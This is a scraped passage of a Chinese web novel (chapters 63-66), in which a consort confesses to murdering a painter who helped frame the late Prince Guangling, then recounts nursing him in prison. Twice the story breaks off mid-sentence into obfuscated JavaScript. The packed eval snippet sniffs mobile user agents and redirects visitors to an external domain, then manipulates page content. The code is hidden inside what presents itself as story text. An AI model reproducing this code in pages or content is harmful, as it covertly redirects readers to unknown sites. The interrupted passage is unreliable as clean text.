门在身后关上,襄王来到座前,示意她落座,她也不客套,直接一掀袍子坐下了。 未等襄王坐下,殷烬翎便开了口:“等候多时,此言何意?” 襄王正要落座的动作顿了顿,随即坦然道:“自然是,知晓道长迟早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这一切的一切,都是拜那狗贼陈彦藩所赐!这个丧尽天良的狗东西,与人勾结,蓄意污蔑广陵王,在鉴定笔迹时颠倒黑白!” “不杀他,难解我心头之恨!” 殷烬翎冷眼旁观着,等他痛骂完了,适时说出一句:“这么说,你认罪了?” “不错!”襄王发泄完似乎有些恢复了正常,毫不畏惧地正视着殷烬翎,朗声道,“杀陈彦藩也好,破坏百日祭天也罢,都是我一人所为,我谢预敢作敢当!” 殷烬翎呼了口气,站起身朝襄王走来:“既然如此,只能麻烦襄王殿下……” “不——!!” 她的话到一半,被一个尖厉的女声陡然打断,如同撕心裂肺般的凄声惨呼,令闻者心胆为之一颤。 终于来了…… 听得这一声,殷烬翎心下不由松了口气。 她循声转首望去,门被打开了,女子身着白色丧服,钗横鬓乱,额前垂下的碎发几乎遮了半边面孔,宛如一抹游荡天地间的孤魂怨灵,与她初次所见时那端庄玉容大相径庭。 “道长……”女子跪了下来,“此事皆我一人之过,恳请道长放过阿预,他不过想替我担罪罢了……” “颜儿……” 刚刚还出言掷地有声,怡然不惧的襄王此时立马慌了神,一个箭步冲上前去扶,可襄王妃用力甩开他的手,依旧垂着头跪在冰冷的石阶上。 “道长,百日之案,皆尽是罪妇姬朝颜所为,与他人无关。”襄王妃缓缓俯身,一个头磕在了门槛上。 “道长,你别听颜儿乱说,我刚刚都已经认罪了,道长也默认了不是吗?那就应该赶紧带我去见父皇……” “阿预你闭嘴行不行!”襄王妃低伏着身子,嘶声喝道。 襄王声音瞬间像卡了壳的一般顿住,嘴微微颤动几下,什么话也说不出来。 殷烬翎目光深深地看了跪伏在地上的女子好一会,慢慢地移步,朝她走了过去。 64. 第 64 章 前一日的夜里,两人并肩走在回去的路上,殷烬翎扯着叶南扶的袖子,照旧自说自话。 “我有些怀疑襄王妃的身世。” “先前秦师兄说到,襄王妃梦魇之时喊了哥哥,但她并无兄长,而且又是五年前横空出现,被太后授意接回的,我不禁有了个异想天开的猜测。” “襄王妃是个太后想要特别照拂的孩子,却不一定出身定国公府,出于某些不为人知的缘由,太后给她弄了个定国公府嫡小姐的身份,好名正言顺地接回来,放在自己身边照看。” “不,或许不止不是定国公府的小姐,甚至并非什么大家闺秀,你可还记得她今日施针救人的模样?” “如若我记得不错,大乘的勋爵贵胄世家千金,会学琴棋书画以修身养性,陶冶情操,却甚少会去学医术,即便学了也是稍懂些皮毛便罢,若说要到危急之际可施针救人性命的地步确是不大可能,而且我观她循经找穴毫无迟疑,点刺手法更是利落无比,全无初学者的生涩犹豫,竟像是这般医治过无数回,而当我问起她何处习得这般精湛医术之时,她却略显慌乱且迟迟不答,显然她并不希望有人瞧见此事,倘若不是那婢女命在旦夕,只怕她根本不会在人前展露出来。” “故而我觉着,她过往如若不是出身行医世家,便大抵是个靠医术谋生的医女。” 叶南扶转头看了眼正兀自滔滔不绝说着想法的殷烬翎:“你认为是襄王妃?” 殷烬翎沉默了须臾:“是。” “自先前发现她潜入凌烟阁调查妖蛊案一事后,我便一直在思考这个问题,她出于什么目的来调查此事,而她与妖蛊案,或者说,与广陵王有何关系。” “结合对她身份的猜测,襄王妃是在广陵王客死他乡那年的年底被太后接来江宁,我猜太后是因妖蛊案对广陵王心生歉疚,从而特别照拂这位过去与广陵王有所关联的女子。” “或是旧识,或是爱慕,或是受其恩惠,不管是这当中哪一种,既然她在看到写有陈彦藩名字的御画坊名册后如此愤懑,那她自然具有动机。” “动机很简单,就是替含冤而终的广陵王,报仇雪恨。” - 殷烬翎已然走到了姬朝颜面前,低头去看她,她只着了单薄的中衣便跑了出来,此时屋外寒风呼号着往里倒灌,迎着风好似将脸贴在冰碴子上一般,而她正跪在风口上,纤瘦的身躯在微微颤抖,如同枝脱叶败的风中残荷。 “道长,您别急着问罪,先让颜儿起来行不行……”谢预凑到殷烬翎身边,恳求道,“天这么冷,她身子又弱,会冻出病来的……” 殷烬翎俯身拉住她的胳膊,轻轻往上托了托:“王妃不必行如此大礼,外边风大,地上又凉,先起来进屋说话。” 谁知姬朝颜只随着她搀扶的动作直起了上身,却仍旧执拗地跪在地上,声音被夜风吹得微微发颤:“恳请道长答应放过阿预,此事与他绝无瓜葛,若不然,罪妇只能在此长跪不起!” - “她先是对太后生了疑,去慈宁宫时顺走了玉枕下的那卷画轴,又发现了那张地契,顺着地契查到了灯烛铺老板陈彦藩,但她此时还并不知晓陈彦藩与妖蛊案的关联,只将他当做一个知情者,想去询问一二,无奈人已逃得不见踪影,便只得作罢。” “然而在百日前几天,她寻到一个守卫禁军被调走的时机,成功潜进了凌烟阁,这才知晓了陈彦藩曾是御画坊画师,联想到事后太后赏予了他这间天子脚下的繁华商铺,不难推断出他在妖蛊案中扮演了一个怎样的角色,这才让襄王妃起了杀心。” “于是她私下派了襄王府的府兵出去捉拿陈彦藩,却不巧被齐王撞见了,此后陈彦藩被抓来她面前,她杀死人后,不知是为了伪装成天谴,还是为了报复已故的太后,假扮作准备祭品的宫人,把尸首混在生牲之中,趁夜间祭台上无人之时,将之推入了青铜巨鼎,并倒入牲畜之血,画卷则搁置在鼎的耳旁,由于巨鼎过高,并不会有宫人敢冒不敬之罪爬上去瞧,故而直到百日祭天,乌鸟围鼎而飞才被发现。” 叶南扶挑了挑眉,忽然问道:“那么你觉得,襄王是否知情?” “必然知情。”殷烬翎断然道。 “府兵碰见齐王之事定然会向襄王禀报的,担忧王妃被怀疑,襄王很有可能将罪名揽上身,因而刻意做出一些引人怀疑的举动,比如亲自前往集市买下大量乌鸟,又比如,为了消抹掩盖襄王妃曾前往南三街打听陈彦藩一事,也跑去反复多次打听,使自己显得尤为可疑,便不会有人在意襄王妃了。这些可能被他故意留下证据之处,明日我去查实一下便可知晓。” “还有一点。” 她往叶南扶走近些,伸手在自己头顶上比划了一下,她身量并不高挑,只堪堪及到他下颌处。 “襄王妃只比我稍高一点,那鼎边沿是她伸手踮脚也够不到分毫的,画卷尚且无法放上去,更别说还要将一个成年男子的尸首高举过头顶,一把推进去,她身量不足,力气亦然。” “当然,这倒也可以说成是她吩咐了下人去做。”她耸耸肩,“虽说私以为,襄王在此等能令王妃依赖自己的事上,应当不会假手于人才是。” - 姬朝颜依旧直直跪在冷硬的石阶上,抬起眼来看向试图扶她起来的殷烬翎,瞳仁闪着朝露的光华,亮得出奇,在夜色映衬下宛如晨星皓月。 僵持了好一会,一向狠不下心做恶人的殷烬翎只得败下阵来,无奈开口应道:“好。” “我答应你,不追究襄王殿下所为,王妃赶快起来吧。” 姬朝颜这才缓缓点了点头,微微挪了挪腿,似乎是冻得有些麻木了,一时竟有些难以起身。 一旁谢预见状,连忙上前将她抱起,进了屋子。 殷烬翎将门阖上,揉了揉自己被冷风吹得有些发僵的脸,找回原先的位子坐着,撑着头,静静看 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“方才明明答应过你,无论发生什么都不会出来的。”姬朝颜垂着眸子,不敢看他,只盯着他的手,“但是,阿预刚才临走的时候,眼神很奇怪,我越想越后怕,就……” 说话间,谢预已系好了带子,抬手摸了摸她的头:“我没事了。” 姬朝颜阖了眼眸,轻轻点了下头。 “我其实,早就有些预感。”姬朝颜抿了抿唇,“阿预该不会想替我顶罪吧,但我没敢问,我怕问了……” 她抬起头:“今天这种时候就出不来了。” 谢预正用手指缠着她一缕头发玩,闻言停了下来。 “阿预,将你牵扯进来我已万般内疚了,怎么还能放任你再替我抗下这些,我虽已手染鲜血,并非什么温良纯善之辈,但一人做事一人当的道理却还是懂的。” 谢预轻轻放开手,垂眼看着她:“你应该相信我的。” 姬朝颜笑着摇摇头:“算了,就算陛下当真不会过分责罚你,我也会愧疚难当,所以……莫要再提了,让我与道长说吧,别让人家等急了。” 谢预“嗯”了一声,让了开来。 殷烬翎撑着头微微歪了歪,等着姬朝颜开口。 “道长,陈彦藩是我所杀,我命人将他绑了来,在这里——”她伸手比了比心口的位置,“用的短匕,一刀下去,人直接倒下了,凶器上有些标识,已经处理掉了。当日我没看过尸首,方才这句话足可以当作证据了吧。” 殷烬翎缓缓点头,又问:“所为何?” “道长可知晓天佑五年的妖蛊案?” “知晓。” “为了在此案之中丧生的广陵王殿下,以及我的哥哥,朝晖。” 殷烬翎扫了眼一旁的谢预,看向姬朝颜:“需回避否?” “不必。”姬朝颜微垂下眼眸,“我更想讲给他听,这本就是我欠他的真相。” “我不姓姬,只唤作朝颜。” 65. 第 65 章 我初见他于天佑五年的夏日,大乘的天牢之中。 那间号称专供给皇族的、用土石砌满了四面围墙的牢笼,仅留下个巴掌大的风口,门又是常年封锁,里面吸口气都是带着浓浓的水雾,闷热得几近蒸笼。 彼时的他早已丢了衣衫,光着上身背靠着贴在墙壁上,只为汲取丝许凉意,额上沁满了汗珠,见我站在门口,有气无力地抬起头,却轻佻地吹了声口哨,强拉开一个戏谑的笑。 “嗬,狼窝虎穴里怎么进来个小兔子?” 我皱了皱眉,只觉得此人恁的轻浮,心下稍有些懊悔起来,不禁回身看了眼来时的路。 入口处那扇厚重的木门发出了腐朽的闷响,正被人用力关上,外头些微的日光在檐角的狭缝和栅栏的空隙中勉力钻进来,却只滑落到门口最上的两级石阶,堪堪止步于阴冷的晦暗前,黢黑一片的石阶,仿佛一直通向自己此时身处的幽冥炼狱尽头。 沿路而来每一片陈旧到发酸的栅栏之后都寂寂无声,每隔三丈许便立有一个狱卒,如同土塑木雕一般无声无息,纹丝不动,只有中央一个火炉中的柴木在噼啪作响。 我一时间恍惚有种自己被捕,正要关进里头去的错觉,紧攥了下肩上的包袱,手不禁微微有些颤抖。 此处是天牢,惟有身犯祸国殃民之重罪者才会被关押在此处,而等待这些人的大多都是一个死字。 因而在来之前,我曾无数次想过,为何一个天牢中的死囚,还需要找大夫医治看护。 诚然我也算不得什么正经出身的大夫,只是自小在医馆的先生那里帮工,学过些许,又时常跟着先生出诊,替他打打下手,好方便给权贵人家的夫人小姐瞧瞧病,维持点生计罢了。 这差事是哥哥揽来问我的。哥哥朝晖,大我八岁,因为初年时候战火不休,将尚且年幼的我托付给医馆先生便跑去从军了,直到天佑四年初,战事结束才得以回来,倒是在军营里混了点小小的名头。 听哥哥说,这事儿是上头一位贵人吩咐下来的,正缺人手,要寻个可靠的,又懂些岐黄之术的姑娘,办好了大有嘉奖,唯一弊端便是要在天牢中待上一段时日,故而大多姑娘都不愿去,末了问我意下如何。我听着觉得若得了贵人赏识,对哥哥前途也当是大有益处,便果断应了下来。 虽应得痛快,但心下还是不免惴惴,转念便想到天牢里会关着怎样的恶鬼凶妖,而等着我去诊治的又不知是哪一路鬼神,各种胡乱猜测着实令我有些担忧,毕竟从未见过牢房里的模样,更罔论天牢重地。 - 而眼前这个通身狼狈的清瘦男子显然就是我要医治的对象,他显然是中了暑,此时早已没了站起来的力气,只靠坐在墙边不断喘着气,疲乏的眼帘耷拉着半阖不下,被人抬出去的时候还沙哑着声音,嘴里断断续续地轻声说着调笑之辞。 他语声含混,我又忙着用布巾蘸水替他擦拭,施针给他退热,只大约听到些零星词句,他反复说着一个姑娘家别待在这种地方,若实在因生计所迫,他可以给我些银两。 我心下不由失笑,这人都沦落成了阶下囚还有闲心来担忧旁人呢。 须臾,他悠悠转醒过来,见了我,头一桩事竟是抬手去撕衣裳的袖子,我被他举动吓了一跳,这可是刚给他换上的干净衣物,赶忙上去阻止,所幸他刚醒来力气尚未恢复,这袖子才堪堪在他手下逃过一劫。 他抬眼看我,语气全不见先前的轻佻玩笑,而是分外认真:“说真的,切莫因我留在此地,若是为了银钱生计,你出去后找兵部尚书府的邢大人,就说广陵王向他借些银两,想要多少说便是了,我这就撕截袖子下来写个字据给你。” 说着又要动手,我好说歹说地劝了下来,表示走不走不由自己说了算,叫他别费心思了。 我问他:“你是广陵王?那个北伐收复所有失地,将夷狄打得远遁千里的大乘战神广陵王?” 他颇有些不好意思地揉揉头,嘿嘿笑了:“哎,也没那么厉害啦……” 我却心里微微一沉,想起了现下外头传的流言,广陵王用妖蛊之法咒害自己嫡亲兄长,并影响了大乘气运,导致天灾连连,民不聊生。他既然被关在此处,想必流言是真的了。 我瞧着如今这蓬头垢面、狼狈不堪的昔日战神,一时有些说不出什么滋味。 他问了我名姓、家人之类的问题,我一一答了,说起了家中有个在镇北军中效力的兄长。 镇北军是他从前北伐时的旧部,他便问我兄长名姓。 我道:“区区小衔罢了,殿下想必不记得的。” 他却仍旧追问我。 我只得答了“朝晖”。 他挠了挠头,似乎想不起来。 我微微垂了头,哥哥不过是他昔日麾下万千兵士中的一员,他这样地位的人,不识得哥哥也在情理之中。 他思索了良久,忽然露出个豁然开朗的笑来:“哦——是阿灰。” 我愣了愣,他又凑近些瞧了瞧我面孔,兀自点了点头:“确实像他的妹妹。” “殿下识得我哥哥?” “自然识得,还是我一手提拔的。” 他与我讲了些哥哥的事,哥哥在镇北军中隶属斥候营,先前攻打夷狄时,哥哥曾多次领一小队人马前去刺探敌情,有回不幸被夷狄所察觉且俘虏,当时陛下有意与夷狄谈和,下了停兵的谕旨送到前线来,然而他并未听从,仍旧率军进发,最后攻下城池,救回哥哥并亲手提拔之。 说到此处,他抬眼看我,皱了眉:“以他现下职位的俸禄,日子过得不应当很难才是,怎的还将亲妹妹送到这龙潭虎穴里来。” 他说得平淡,我内心却生出波澜起伏来。 他不明白,我却很清楚,哥哥是想报他当初的救命之恩。 我也算是知道,原来他这个人施与旁人的恩惠从不会记在心上。 我忍不住反驳:“我若是不来,今日将会如何,殿下可有想过?” 他不答话了,嘴唇动了动,没发出声来。 又沉默了半晌,憋出一句:“总之你一小姑娘就不该来,趁早回去。” 我有些被他气笑了,但横竖他当下不过一阶下囚,我回不回去,自然不是由他说了算,我便任由他去说。 - 由于是皇族亲王,他的待遇自然比天牢中其他人要高上一大截,这牢房宽敞三倍有余,带着隔间,简直算得上个粗陋的小屋子,姑且还有张看得过去的床榻,怕是比之牢头的住处也不枉多让。我就住在他这屋子的隔间里。 我看过他的伤,他当初北伐作战时受的数道伤口,未曾好生将养,如今在阴寒的地下牢房中每每被湿气牵动,直痛得他冷汗涔涔,他硬是一声不吭,能将嘴唇都咬得鲜血淋漓,且近来频频发作,大抵两三日便要折腾上一回。说是大夫,但我充其量不过是个医婢,除了给他诊脉熬药,发作时施针替他镇痛之外,还要日常照护。 但实际上,他除了发病时身不由己,其余诸事都亲力亲为,拒绝我的照顾,振振有词地说从前行军时环境可比当下恶劣多了,也从不娇弱到需要人服侍。 我刚来的时候看着他如今的窘境,再想想他传唱在百姓口中的英姿,还时常会生出些英雄末路的惋惜之感,然而没多久就发觉他似乎浑不在意,对现状安之若素,甚至颇为自来熟地与狱卒们混在了一处,称兄道弟,整日胡扯海吹,丝毫没有身为亲王和大乘守护神的自觉。 不过广陵王此人,虽平日混在狱卒堆里时嬉笑怒骂,轻浮得很,内里却实在是个谦谦君子,自我在他隔间住下,他便再也没踏足过隔间半步,即便半夜发了病唤我,也要咬着不住打颤的牙,嘱咐我穿戴齐整了,甚是循矩守礼。 唯一令我有些介怀之处,他有个叫不清人名字的毛病,偶尔也会将几个狱卒叫串了,非得弄个只有他自己分得清的绰号来,譬如他认真思索好久才能记起来哥哥朝晖的大名,但一说“阿灰”他立刻就明白了,大家都知晓他这怪毛病,任由他瞎叫去,反正也差不多知道他在叫谁。 “朝颜”二字并无特殊之处,自然得不到被他记住的荣幸待遇,他也是转头就忘了,隔天想起来要唤我时,抓耳挠腮半晌,只记得初见我像个闯进狼窝的幼兔崽子,就瞎叫了个“小兔儿”,完全无法接受的我在他耳旁念叨了好几天也没能让他改过来,随着他日复一日小兔长小兔短的叫,我除了妥协似乎毫无办法。 - 地底见不到日升月落,花开花谢,似乎与世隔绝,我起初还扳着手指记日子,到后来需拿砖石刻画在墙根,再后来已全然记不清了,只能问问轮休回来的狱卒今夕何夕。 又或者哪一天,一眼望去见当值的没几人,听闻见远方隐隐传来爆竹之声,我才恍然惊觉,不由怔忡出神。 他一咕噜从地上爬起,翻出根坑坑洼洼的红烛来点上,撑着头看着烛焰,一副兴致高昂打算彻夜守岁的模样。 他朝我道:“小兔儿又要长一岁了,不知何时及笄啊?” 由于他的称呼,我打定主意不理会他,心中却暗暗算了算离及笄的日子。 他不以为意地又道:“那……天佑六年,可有什么祈愿?” 若真能心想事成,我倒是希望身边这个人早些被放出去,我也好结束这天牢中的生活。 我反问:“殿下呢?” “我啊……如若白仙应允,我想在此度过余生。” 我大为震惊不解,不由疑惑地看过去。 他正仰头看着漆黑一片的牢房顶上,像是越过土石砖瓦看向虚无的星空,跳动的烛火盛在他潋滟夺目的眼眸里。 “因为这代表,我此生未能再有复起的机会,而大乘需要用到我,并不是什么好事。” “我希望大乘永远……不再有需要我的那一日。” “为此,我情愿在暗无天日的地下苟活过整个盛世。” 他忽然意识到什么,连忙道:“倘若当真如此,我定会先将你送出去的,不会让你一直待在此处。” 我微微弯了弯唇角,没有答话,他也不再开口,相对无言。 然后这晚,这位之前还兴致勃勃想守个彻夜的人,当先靠在墙边睡了过去。他头侧抵在墙上,散乱的发丝垂落在他的鼻尖上,随着他匀称的吐息一上一下轻轻晃动,每一下都似扫在我心尖上,我忍不住伸手替他拨开那缕发丝,端详着他清俊的脸。 尽管他从未提起,但我已然心知肚明, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370523|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他这般心系家国安危之人,怎么可能犯下妖蛊一案? 本该关押着祸国殃民之罪人的天牢,如今里头囚禁着这位忧国忧民的少年将军,那么外边的,又会是些什么? 我不知道。 我只知道那一刻,心里划过一个隐匿的念头,倘若他当真需要在这地底待上一辈子,来换取大乘的河清海晏,一个人未免太过孤寂。 我想陪着他。 - 我后来曾无数次想过,究竟从何时起对他的一颦一笑上了心,无数次都只能绕回到这个除夕之夜。 天佑六年似乎没有如任何人所愿,他依旧没有被放出去,却也并不是一个太平的年份,天牢里陆陆续续进来了不少人,常常一睁眼周边又添了新的邻居,当中大多都与他相熟,包括最初见面时他提过的那位兵部尚书邢大人,他们皆是因牵涉妖蛊一案下的狱。 邢大人就关在隔壁,他与之隔着堵墙轻声谈了一宿后,第二日神色很是不佳,自我认识他以来,从未有哪一日见他如这般阴沉着脸,我大约知道此事必不会善了,心下不由为他担忧起来,但他的事,向来都是他想说就开口了,我便静静等着他告诉我。 然而这一回,他什么也没说。 - 天佑六年的日子,在数着新入狱的朝臣官宦之中悄然流逝,一晃眼又一年除夕到来,他再度问起我及笄是什么时候,这回我认真地掰着指头算了算,告诉他大约还有半个多月。 他似乎舒了口气,低声自语了句:“还来得及。” 我不明所以,正想出声问,他忽然一把拉过我,竖起食指抵在自己唇上,做了个噤声的动作,我下意识得合上了嘴。 一时间四下静谧无声,我隐隐听见头顶上方有扑簌簌的细微声音传来,像是数以万计的花叶被西风扫落。 “下雪了。” 他挨得很近,声音轻轻拂在我耳旁。 “从前北地倒是长年积雪不化。” “江宁……很少见到雪。” “真稀罕。” 他忽然笑了,温软的气音混着凉凉的雪声,直窜到我心底,一如去年除夕落在他鼻尖上的那缕碎发。 我陪他听了一夜的雪。 - 大乘的及笄礼是由长辈替少女绾起发髻,贵族的流程则要更为复杂。 我早先便想着,这及笄怕是也要在此度过了,虽有些许遗憾,但想到多数穷困人家的少女,早在及笄之前就卖作了大户人家的婢女,并不搞什么及笄礼,便也不觉得难过了。 然而及笄那日,他却忽然变出来一个木簪,说是送我的及笄贺礼,我明明整日同他在一处,却愣是没察觉到他是何时刻的。 彼时的我捧着木簪雀跃不已,满心以为他那日说的“还来得及”,是能在及笄到来前雕完这个木簪。 他道:“我虚长你几岁,腆脸充个长辈,如何?” 传旨的内侍进来之时,他正拾起木簪,将要往我发髻上绾,见人进来,他并未转头,握着簪子的手却微微一颤,险些功亏一篑。 他冲内侍微微颔首:“劳烦稍等片刻,马上便好。” 我只觉得自己心将将要从喉咙里蹦出来,一时竟分不清是因被他绾发的紧张,还是在担忧他的判决。我登时有些坐不住,想催他先去接了旨也不迟,忍不住往后瞟去。 才稍稍一动,他便出声喝止:“别动。” 我不敢再动。 他终于将木簪稳稳地送入发间,起身掸了两下衣袖,笑道:“以往我连撕毁圣旨之事都做过,如今不过是晚接了片刻,皇兄不会怪罪我的。” 内侍宣读了判决,广陵王被皇族除名,褫夺封号,贬为庶人,三日后流放滇南。 内侍读完便去了下一处牢房传旨,官员们有的罢免,有的流放,有的充军,一时间狱中哀声四起,恸哭不绝,宛如人间炼狱。 一片悲号痛呼之中,他却冲我笑道:“小兔儿,你明日就能回去了,恭喜。” 我只觉一股酸涩猛地涌上鼻子,什么话也说不出来。 忽然间明白过来,原来所谓“还来得及”,是来得及与我过完及笄再走。 夜里,我们一同靠坐在墙边,在一片漆黑中说着话,但其实都是他一个人在絮絮叨叨,我插不了话,也说不出话。 他道:“耽误了你整整一年零七个月,大好年华,我如今一介庶人自然赔不起,怕被你兄长追杀,只能躲去滇南了。” 他又道:“我现今身无长物,没什么能答谢你的,本还想着让你出去后找邢大人要些东西,又或是提携你兄长一二的,没成想他也进来了。明明往日结交甚广,可如今竟大半都受了我牵连……” 他接着道:“我从今后身似浮萍,现已然不知你当如何了,或者……我再撕半截袖子,你去拿与太后?她兴许会念些情分……” 他连忙摇头:“不不,我也不知道……我倒是一走了之,可你,你还得……” 他词句愈发凌乱起来,我正待开口,他忽然倾身过来,一把将我按在了怀中,我脑中顿时一片空白,只怔怔地贴在他心口处,听见他的声音自我肩头闷闷地传来。 他说:“朝颜,我该怎么办?” 66. 第 66 章 我离开天牢这日,是天佑七年正月二十。 时隔一年零七个月,这道厚重残朽的木门在我面前再度缓缓开启,刺目的日光直钻入阴暗的地下,令我眼前不由黑了一黑。 我仰起头来,透过横生互结的飞檐,望向被割得四分五裂的湛蓝晴空,些微早春未化的积雪零落在檐角上,沐浴着日光的洗礼,天地间静得落针可闻。 回头望过去,在石阶尽头,两侧排开的牢房依旧如同黄泉冥河般深不见底,他在彼岸静静地望着我,眼中盛了一汪潋滟的湖光。 我将要回到人间,他却于幽冥沉沦。 那一瞬,我突然很想掉转头,不顾一切地跑回他身旁,告诉他,滇地多毒瘴,依然需要一个懂医术之人照看,我愿陪他去滇南。 但我终究没有,我还有哥哥,并非孤身一人,无法舍弃一切地随他而去,况且我知道……他这样的人,断然不会同意。 我转回来,抬步跨到了人间。 那是我见他的最后一眼。 - 我急着回去见哥哥。这一年多以来,只与哥哥通过寥寥几封书信,我甚是想念。 然而他失踪了。 我找过家中,找过医馆,找过军营处,找过哥哥往日的军中好友,竟无一人知晓他去了何处。 我一直不断地四处奔波,找寻哥哥下落,以至于流放犯人出城那日,也没能去围观人群中再看他一眼。 直到数月后,他病亡于流放途中的消息传来,我这才停下了忙碌的脚步,恍然惊觉。 我回了家中,缩在榻上,抱着被角痛哭了一整晚,只觉得将前半生十几年来忍住的眼泪全数留了个干净。 我其实很清楚,哥哥从来都不会如这般,不留只言片语就消失无踪,这数月来只是在用四处奔波打听来欺瞒自己、逃避事实。 而今两个人都不在了,这个人世间空空如也,我也再没有什么难以摒弃之物了,此后唯一能做的,就是倾尽所有,为他们二人查明真相。 然而,不论是妖蛊案还是哥哥的事,都并非我一介庶民所能接触到的。哥哥先前告诉我这桩差事时曾说过,是一位贵人吩咐的,这位贵人定然知晓不少内情,必须将其找出来,为此我须得寻些途径,进入权贵世家。 那日临走前,他还是将写了字的半截衣袖塞给了我,我本打算留作念想,如今却派上了用场。 我拿着它见了太后,太后端看了半晌,将其收了起来,问我可有何心愿。 我答:“但求一世荣华富贵。” 就这样,我成为了定国公府养在幽州老宅里的三房嫡女,在幽州学了半年贵族礼仪之后,在天佑七年的年底被接回了江宁。 靠着太后的庇护,我顺利跻身上层,听闻襄王从前与广陵王情谊甚笃,况他身为亲王,地位超然,又似乎分外倾慕于我,应当能为我查案添不少助力,于是在襄王向太后请旨赐婚时,我点了头。 - 就在太后七七日之后,我查到当年哥哥失踪前,曾多次出现在慈宁宫附近,似乎是被太后暗中召见过,我不禁疑心,太后会不会就是当初那位贵人,但太后已然薨逝,无处求证,我便前往慈宁宫,本想找寻些有关哥哥的线索,却无意中发现太后藏在枕下的那幅画。 此时的我经过多年查探,已知晓妖蛊案的大致情况,而那幅作为主要证物的画卷,对其内容自然是了然于心,故而见到它第一眼,我便认了出来。 我不知这幅本该被销毁的画为何会被太后私藏在此处,但我知道,这必定是揭开妖蛊案内情之关键,于是我将画卷收到怀中。 接着又发现了一张地契,我顺着地契查到了一间灯烛铺,七七时出了事的白烛,正是这家铺子所做,事出巧合,令我不由怀疑,然而其老板陈彦藩早已潜逃,我只得就此作罢。 尔后在百日前五天,此前一直无法接近的凌烟阁,终于被我等到一个周边禁卫都调走的时机,我得以顺利潜入调查妖蛊案与太后的关联,却发现那灯烛铺老板陈彦藩,居然是御画坊的前画师,而且将那画的笔迹鉴定为广陵王的正是御画坊。 我想到太后房里的灯烛铺地契,想到被私藏的画,想到辞去画师职务开起灯烛铺的陈彦藩,想到蒙受不白之冤的广陵王,想到他在犹如地狱的惨呼声中对我微笑,想到这个惊才绝艳的风流人物如今不知被草草掩埋在了何处。 襄王给了我调用府兵的权力,我从未用过,因为调了府兵必然瞒不住襄王。 今次,是我头一回调遣府兵,下令,捉拿陈彦藩。 - 只不到两日,陈彦藩便被捆着带到了我面前,他衣衫破败,面如死灰,目露惶恐之色,浑身战栗着不住地向我求饶。我屏退了府兵,关起门来,只余下我与他。 我问:“妖蛊案那幅画是不是你所作?” 陈彦藩忙摇头:“那画确实是广陵王殿下所作,原是殿下送与太后的贺寿礼,草民不过在其上添了朱笔,使其……吊诡了些许……” 我深吸口气,强压下心头的怒意:“为何陷害于他?” “是……是太后的意思,草民不知……” 虽先前差不多猜到是太后所为,但当真相确凿无疑地摆到我面前时,仍旧会觉得难以置信。背负谋害兄长、违逆天道之恶名,远驱夷狄的丰功伟绩进不了凌烟阁,削去封号,除名皇族,客死他乡……我怎么也想不明白,究竟缘何能让一位母亲对自己亲生儿子下如此毒手。 而这个陈彦藩,为虎作伥,拿广陵王殿下的命,换了他南三街的繁华商铺,靠着太后护持,由一个原本清贫的画师,就这样摇身变为了富贾。 然而眼下尚不是追究的时候,还有一个问题。 我问:“你在太后那儿,可曾见过朝晖?” “朝晖……?”他喃喃地重复了一遍这个名字,低着头陷入了沉思。 “就是五年前约莫二十出头,身量颇高,白净瘦削的青年男子,对了,你瞧瞧我,他与我长得有几分相似!” 陈彦藩看了我半晌,恍然大悟:“是那个年轻人啊!” 我忙道:“他如今在何处?” 陈彦藩低下头,嗫嚅着。 “我在太后那儿见过他几回,太后召他有事商议,通常都是他一来,我便出去了,故而……没能听见具体内容,但我知道他是镇北军的人,是广陵王的下属,他与我一样,都是在帮太后做事。” “最后一回见他,我出门之时隐约听见他说:‘作为交换,请太后照顾好我的妹妹。’我想着,应当是出卖了广陵王作为交换,估计是作为属下,捏造证物出来,指证了广陵王吧。” “那之后便再也没见过他,我向太后问起,太后看了我一眼,语气淡淡地说,死了。我顿时寒毛直竖,我也知晓这桩惊天秘事,难保下一个不会轮到我……” 他后头还说了什么,我已然听不见了。 哥哥死了…… 哥哥背叛了广陵王殿下…… 哥哥参与妖蛊案被太后灭口了…… 原来,原来竟是这般…… 我如今安然享受的无上荣华,是阴谋、背叛、权力倾轧,以及这世间我最爱的两个人,付出了生命换来的。 不会的,不是的,不可能,我不信。 殿下不是哥哥的救命恩人吗?哥哥为了报答,不是还找了我去牢中看护陪伴他吗?哥哥是什么样的人,我最清楚不过,他怎么可能做出背叛恩人之事? 可若非如此,他见太后作甚?难不成替殿下求情? 不,不是的……这一切都是因为太后!是太后蓄意构陷,哥哥一定是被权势胁迫的,并非他本意…… 有个声音忽然在脑中上蹿下跳,疯狂叫嚣着。 哥哥都是为了你啊! 看啊!为了你能过上如今的日子,他可是摒弃了自己的良心啊! 可即便如此,难免心怀愧疚吧? 所以,他才让你去牢里,陪殿下最后一程,也算是报了他的恩情啊! 你说陈彦藩噬人血肉,换来荣华富贵,那你自己呢? 你可看到了,你如今身上披的每一寸绫罗锦缎,都是紧勒在他们项上的绳索制成;头上簪的每一支金钗玉钿,都是刺在他们心口的刀剑;吃的每一口珍馐美馔,都是在生啖他们的血肉…… 姬朝颜,在钟鸣鼎食中过得久了,你可还记得自己姓甚名谁? 别说了,别说了! 我狠命捂住了头,堵上了耳朵,仿佛只要这样什么都不听,什么都不想,就能回避这扭曲的真相,逃离这荒诞的世间。 我曾以为从天牢出来是重回了人间,可如今只觉得眼前的一切颠倒错乱,这人间怨鬼丛生,魍魉横行,分明就是另一个处在幽冥地府之中的囚笼。 